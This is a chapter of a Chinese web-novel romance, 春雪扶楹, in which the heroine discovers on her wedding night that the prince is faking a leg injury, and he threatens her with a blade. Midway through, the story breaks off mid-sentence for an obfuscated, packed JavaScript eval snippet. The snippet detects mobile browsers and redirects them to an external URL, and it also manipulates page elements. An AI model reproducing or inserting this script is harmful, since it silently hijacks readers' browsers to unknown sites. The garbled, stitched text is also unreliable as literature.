19.第 19 章
作品:《春雪扶楹》 碧落和铃兰正在为扶楹梳妆簪发。
大婚之日,她被装扮得珠围翠绕,华服旖旎,眉目间却是与这般喜庆极为不符的平静。
“姑娘,您是奴婢这辈子见过最美的新娘。”
铃兰为扶楹发间插上最后一支翠羽凤鸟攒珠步摇,发自内心赞许道。
金凤冠上镶嵌着的赤色宝石熠熠生辉,霞帔刺绣玲珑精致,红色缎袍华贵典雅,衬得她本就靓丽绝美的面庞更加明艳夺目。
听了铃兰的夸赞,扶楹只是笑笑,看着镜中盛装的女子,眸底染上一丝哀愁与伤感。
——父亲,你之前对我说,要为我寻天下最好的男子做夫婿。
——女儿今日要出嫁了,你却已不在这人世间……
——你若在天有灵,能否保佑女儿今后一切顺遂?
扶楹陷入深思,眼中闪烁着盈盈泪意。
“女郎,我们走吧。”
碧落知她又在思念逝去的老可汗,轻轻抚上她的胳膊,柔声提醒道。
掌事嬷嬷瞧吉时已到,笑容满面,拿起坠有金线流苏的红色盖头,为扶楹细致盖上,将她一袭美貌皆掩在红绸之下。
“奴婢福薄,只能侍奉姑娘至今,望好自珍重。”
扶楹轻点一下头,向掌事嬷嬷福身告别,感谢她这半月以来的悉心照拂。
她被一左一右扶着,坐上了朱漆雕花大轿。
一时间,锣鼓喧天,唢呐奏乐,整支队伍浩浩荡荡离开大明宫。
午后街上人潮涌动,熙熙攘攘,人们皆对这没有新郎官的迎亲阵仗颇感好奇。
后经长者科普才知晓,亲王迎娶侧夫人时,不必亲自前来,只由迎亲队伍接回王府便可。
皇帝甚爱闻灼,在他弱冠之年,将坐落在长安城东春明门内的兴庆宫设为卫王府,豪奢至极,风光无限。
扶楹端坐在轿中,思绪飘飞,似乎连奏乐声都未能入耳。
去王府的时间,似乎短暂,而又极其漫长。
因她并无亲眷,婚宴流程一切从简,故径直被花轿抬至府内住处。
芙蓉阁,是闻灼为她安排的栖身之所。
院落面积庞大,楼阁飞檐翘角,层层琉璃瓦如碧波荡漾,门窗花纹精美典雅。
周围碧水环绕,花团锦簇,树木蓬勃,枝繁叶茂,清风拂面,送有暗香来。
扶楹下轿之后,便有奴婢们上前恭敬吩咐:“请夫人在此等安心候王爷前来。”
碧落双手托着扶楹一臂,同她进入芙蓉阁后,将门阖上。
“呼——”
身旁无人之后,二人异口同声长舒一口气。
当了这么久的主仆,她们自然心有灵犀。
此刻,闻灼正于王府正殿迎宾设宴,因他免去了诸多流程,扶楹作为侧室,只需在晚上等待闻灼前来即可。
她很感谢他能如此“体贴”,无须她去见那些素不相识的大雍皇亲国戚。
欢乐是属于他们的,而她……却什么也没有。
扶楹一把掀开盖头,坐于圆凳,对屋内华丽喜庆的嫣红布置视而不见,不再端着沉静柔婉的架子,也懒得遵循那些中原婚配的繁文缛节。
“碧落,我先小憩片刻,王爷来时记得提早喊我。”
碧落点点头,扶楹从凌晨便起床梳洗,一刻不停地端坐至今,想必早已疲惫不堪。
她提醒扶楹睡时当心妆容,便去门外候着了。
……
暮色降临之际。
扶楹枕着手臂,趴在八仙桌上,顶着满头珠宝金翠,闭眼深眠。
她呼吸平缓,卸下所有拘谨,消解所有顾虑,就那么静静睡着。
一阵匆匆的脚步声自楼下传来,随之而来的,便是碧落焦急的呼唤。
“女郎,快醒醒,王爷来了!”
“唔——”
没睡多久便被叫醒,扶楹不舒服地蹙了下眉头,打了个哈欠直起身来。
她甩了甩发麻的手臂,欲要用手背去揉惺忪的睡眼。
碧落见状,慌忙拉住她的手:“不能揉眼睛,妆会花的。来,奴婢为你披好盖头。”
她手脚麻利地为扶楹整好衣衫头饰,披上盖头,扶着她端坐于床边。
这一顿张罗,乍一看去,倒像是从踏入芙蓉阁起静候至现在的模样。
“嘎吱——”
门轴转动,发出木头与金属摩擦碰撞的声音。
一连串沉稳的脚步声由远及近,缓缓而来。
“奴婢见过王爷。”
碧落抬眼瞧着前方走来的男子,只此一眼,便心如擂鼓,低头俯身行礼道。
闻灼身材高大挺拔,身穿袖口镶有金丝龙纹的红色长袍,一张面孔俊美凌厉,剑眉入鬓,眼底仿佛凝结了冰霜。
方才,他在婚宴同众宾客觥筹交错,推杯换盏,应是喝了不少酒,可依旧面色如常,并无醉意,只在身上沾了些许酒精的香气。
碧落只在云州郊外那间茅舍中见到过昏迷时候的闻灼,依稀记得他的长相。
虽已听扶楹讲述过他们之间的来龙去脉,还是不免觉得天意弄人。
“下去。”
闻灼只淡淡吐出二字,拄着手杖,踱步上前。
“遵命。”
碧落有些担忧地看了一眼扶楹,随后不舍地收回目光,离开芙蓉阁后带上屋门。
闻灼看了眼柜上的檀木托盘,放置着一柄泛有光泽的玉如意。
坐在床上的扶楹,双手交叉放在身前,端庄典雅,等待着他。
他扬起浓眉,冷声问道:“难道还要本王为你挑起盖头?”
那抹红色的纤细身影肉眼可见地僵直起来。
迟疑片刻后,一双嫩柳般纤细的手将盖头轻轻掀起,露出一张惊为天人的面孔。
扶楹平日只略施脂粉,面如芙蓉,淡雅如画,今日华服盛妆,更是娉婷无双,美得不可方物。
她轻咬朱唇,低低唤他:“王爷。”
许久未见,闻灼依旧是那副阴鸷淡漠的脸庞。
他生性恣意纨绔,许是见四下无人,直接懒得应付一切风俗礼节。
即使二人有名无实,可她毕竟是新娘,盖头竟然要她自己掀开,此乃闻所未闻之事。
下一刻,闻灼却端起一杯桌上的合卺酒递给她。
“老祖宗的规矩,无论如何,合卺酒还是要饮的。”
扶楹眉心一颤,有些说不出话来。
她幼时在中原学习医术,便有所耳闻,汉族人通婚当晚,新婚夫妻饮合卺酒,意味着夫妻二人从此结为一体,永不分离。
闻灼是汉人,应当知晓其背后含义才是。
既然要做表面夫妻,让她自己掀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116372|194236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起盖头,又何必去喝下这具有特殊含义的酒呢?
“饮下此酒,王爷便要与妾身同甘共苦,唇齿相依。”
闻灼面若寒霜,只道出一字:“喝。”
扶楹当他默许,接过酒杯端至唇前,左手以长袖障面,右手举杯仰头饮尽,动作轻柔优雅,美如诗画。
酒并不烈,还有些许甘甜。
闻灼坐在桌前,抬手喝尽了另一杯。
他酒量极好,在筵席上喝了那样多都没能醉,依旧面不改色。
扶楹滴酒不沾,还是能清晰地感觉到,自己的食道和胃部产生了火辣的灼烧感。
她低低地咳了几声,待嗓子舒服些后,抬眼看向闻灼。
“王爷,现在我们可以毫无遮掩,坦诚相对了吗?”
闻灼微微眯起了眼睛,看向她的目光如两道冷箭,带着毫不留情的彻骨寒意。
“有话直说,本王没有耐心听你打哑谜。”
扶楹顿了顿,最终还是道出自己的疑惑:“王爷,妾身已事无巨细,和盘托出,但王爷似乎还心存忌惮,对妾身有所隐瞒。”
闻灼剑眉竖起,一双狭长丹凤眼瞪着她,眸色幽黑,深不见底。
周围的空气,似乎被他身上散发的寒意所染指。
见他沉默不语,扶楹深深呼吸着,鼓起勇气迎上他的目光,同样直视着他。
“王爷膝盖并无恙,何来腿疾?妾身不知王爷为何以此掩人耳目。”
闻灼脸色完全阴暗下来,眼神仿佛要将她千刀万剐。
“何出此言?”
扶楹脑海中,霎时浮现出自己在那间矮小茅屋中为昏迷的他尽心竭力医治膝伤的情景。
拼好闻灼被射穿的髌骨后,她便有十足把握让他的腿痊愈。
扶楹对自己的医术这般有信心,自然少不了她的师父——徐迹的悉心栽培。
徐迹是长安闻名遐迩的神医,中年时离开长安,行医足迹遍及西北江南各地。
他医术异常精深,尤其擅长解毒与外科,精于手术,妙手回春,引无数人交口称赞。
扶楹六岁便师从徐迹,到现在已行医十年之久。
因此,闻灼的腿不可能在她的全力救治下,还能留下残疾。
扶楹笃定说道:“膝盖若患疾必定僵硬,不能如常人般灵活弯曲。但王爷行走时阻碍在脚踝,膝盖却很正常。”
回应她的,却是低低的冰冷笑声,似是一阵狂烈暴风雨的前奏。
“啪——”
那只合卺酒杯被大力磕在桌上,杯底碎成大小不一的玉屑。
闻灼大手挥斥,甩开拄着的手杖,任由其砸上一旁的木柜,发出炸雷般的声响。
他起身上前,左腿与常人别无二致,完全无碍。
扶楹瞧着他稳健的步伐,心底一阵波澜翻涌,被她说中后,他已彻底卸下了伪装。
闻灼立在她面前,高大的身影遮挡大半烛光,阴影投在她的身上,好似一硕大囚笼将她完全笼罩,无处可逃。
“你过于锐敏聪慧,留在身边着实是一颗惊雷,本王已有些后悔,没能在衔青殿直接除掉你。”
闻灼抽出佩在腰间的龙牙,刀锋直冲扶楹,抵在她喉咙前,冰冷的眸底闪出异常狠鸷的光芒。
“知道太多的人,总是活不长的。不过,现在杀你也不晚。”

